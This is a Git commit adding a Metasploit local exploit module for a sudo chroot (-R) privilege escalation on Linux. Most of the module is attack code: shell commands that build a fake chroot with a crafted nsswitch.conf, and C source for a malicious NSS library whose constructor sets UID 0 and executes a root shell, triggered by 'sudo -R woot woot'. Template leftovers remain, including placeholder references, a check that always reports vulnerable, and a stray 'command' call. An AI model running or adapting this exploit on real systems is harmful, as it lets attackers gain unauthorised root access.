Skip to content

Commit 119e487

Browse files
committed
Init
1 parent 20e4758 commit 119e487

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
###
7+
#
8+
# This exploit sample shows how an exploit module could be written to exploit
9+
# a bug in a command on a linux computer for priv esc.
10+
#
11+
###
12+
class MetasploitModule < Msf::Exploit::Local
13+
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
14+
15+
include Msf::Post::File
16+
include Msf::Post::Linux::Priv
17+
include Msf::Post::Linux::Kernel
18+
include Msf::Post::Linux::System
19+
include Msf::Post::Linux::Compile
20+
include Msf::Exploit::EXE
21+
include Msf::Exploit::FileDropper
22+
23+
prepend Msf::Exploit::Remote::AutoCheck
24+
25+
26+
def initialize(info = {})
27+
super(
28+
update_info(
29+
info,
30+
# The Name should be just like the line of a Git commit - software name,
31+
# vuln type, class. Preferably apply
32+
# some search optimization so people can actually find the module.
33+
# We encourage consistency between module name and file name.
34+
'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation',
35+
'Description' => %q{
36+
This exploit module illustrates how a vulnerability could be exploited
37+
in an linux command for priv esc.
38+
},
39+
'License' => MSF_LICENSE,
40+
# The place to add your name/handle and email. Twitter and other contact info isn't handled here.
41+
# Add reference to additional authors, like those creating original proof of concepts or
42+
# reference materials.
43+
# It is also common to comment in who did what (PoC vs metasploit module, etc)
44+
'Author' => [
45+
'h00die <mike@stcyrsecurity.com>', # msf module
46+
'researcher' # original PoC, analysis
47+
],
48+
'Platform' => [ 'linux' ],
49+
# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
50+
# may only apply to say ARCH_PPC or something else, where a specific arch is required.
51+
# A full list is available in lib/msf/core/payload/uuid.rb
52+
'Arch' => [ ARCH_CMD ],
53+
# What types of sessions we can use this module in conjunction with. Most modules use libraries
54+
# which work on shell and meterpreter, but there may be a nuance between one of them, so best to
55+
# test both to ensure compatibility.
56+
'SessionTypes' => [ 'shell' ],
57+
'Targets' => [[ 'Auto', {} ]],
58+
# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
59+
# since privilege escalation modules typically result in elevated privileges, this is
60+
# generally set to true
61+
'Privileged' => true,
62+
'References' => [
63+
[ 'OSVDB', '12345' ],
64+
[ 'EDB', '12345' ],
65+
[ 'URL', 'http://www.example.com'],
66+
[ 'CVE', '1978-1234']
67+
],
68+
'DisclosureDate' => '2023-11-29',
69+
# Note that DefaultTarget refers to the index of an item in Targets, rather than name.
70+
# It's generally easiest just to put the default at the beginning of the list and skip this
71+
# entirely.
72+
'DefaultTarget' => 0,
73+
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
74+
'Notes' => {
75+
'Stability' => [],
76+
'Reliability' => [],
77+
'SideEffects' => []
78+
}
79+
)
80+
)
81+
82+
83+
# force exploit is used to bypass the check command results
84+
register_advanced_options [
85+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
86+
87+
]
88+
end
89+
90+
91+
92+
def check
93+
94+
return CheckCode::Appears("Vulnerable app version detected")
95+
# Check the kernel version to see if its in a vulnerable range
96+
# we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812
97+
# release = kernel_release
98+
# begin
99+
# if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||
100+
# Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')
101+
# return CheckCode::Safe("Kernel version #{release} is not vulnerable")
102+
# end
103+
# rescue ArgumentError => e
104+
# return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}")
105+
# end
106+
# vprint_good "Kernel version #{release} appears to be vulnerable"
107+
#
108+
# # Check the app is installed and the version, debian based example
109+
# package = cmd_exec('dpkg -l example | grep \'^ii\'')
110+
# if package&.include?('1:2015.3.14AR.1-1build1')
111+
# return CheckCode::Appears("Vulnerable app version #{package} detected")
112+
# end
113+
#
114+
# CheckCode::Safe("app #{package} is not vulnerable")
115+
end
116+
117+
#
118+
# The exploit method drops a payload file to the system, then either compiles and runs
119+
# or just runs the exploit on the system.
120+
#
121+
def exploit
122+
# Check if we're already root
123+
if !datastore['ForceExploit'] && is_root?
124+
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
125+
end
126+
127+
payload_file = rand_text_alphanumeric(5..10)
128+
129+
temp_dir = "/#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}"
130+
131+
mkdir(temp_dir)
132+
133+
cd(temp_dir)
134+
135+
cmd_exec("mkdir -p woot/etc libnss_")
136+
cmd_exec(%<echo "passwd: /woot1337" \> woot/etc/nsswitch.conf>)
137+
cmd_exec("cp /etc/group woot/etc")
138+
139+
exploit_code = %Q<
140+
#include <stdlib.h>
141+
#include <unistd.h>
142+
143+
__attribute__((constructor))
144+
void woot(void) {
145+
setreuid(0,0); /* change to UID 0 */
146+
setregid(0,0); /* change to GID 0 */
147+
chdir("/"); /* exit from chroot */
148+
execve("/tmp/pwned",NULL,NULL); /* root shell */
149+
}>
150+
151+
upload_and_compile("#{temp_dir}/libnss_/woot1337.so.2", exploit_code, "-shared -fPIC -Wl,-init,woot")
152+
153+
cmd_exec("sudo -R woot woot")
154+
155+
timeout = 30
156+
print_status 'Launching exploit...'
157+
output = cmd_exec "command", nil, timeout
158+
output.each_line { |line| vprint_status line.chomp }
159+
160+
# # Make sure we can write our exploit and payload to the local system
161+
# unless writable? base_dir
162+
# fail_with Failure::BadConfig, "#{base_dir} is not writable"
163+
# end
164+
#
165+
# # Upload exploit executable, writing to a random name so AV doesn't have too easy a job
166+
# executable_name = ".#{rand_text_alphanumeric(5..10)}"
167+
# executable_path = "#{base_dir}/#{executable_name}"
168+
# if live_compile?
169+
# vprint_status 'Live compiling exploit on system...'
170+
# upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
171+
# rm_f "#{executable_path}.c"
172+
# else
173+
# vprint_status 'Dropping pre-compiled exploit on system...'
174+
# upload_and_chmodx executable_path, exploit_data('example')
175+
# end
176+
#
177+
# # register the file for automatic cleanup
178+
# register_files_for_cleanup(executable_path)
179+
#
180+
# # Upload payload executable
181+
# payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
182+
# upload_and_chmodx payload_path, generate_payload_exe
183+
# # register payload for automatic cleanup
184+
# register_files_for_cleanup(payload_path)
185+
#
186+
# # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
187+
# # output from the exploit being run, they can optionally see it
188+
# timeout = 30
189+
# print_status 'Launching exploit...'
190+
# output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
191+
# output.each_line { |line| vprint_status line.chomp }
192+
end
193+
end

0 commit comments

Comments
 (0)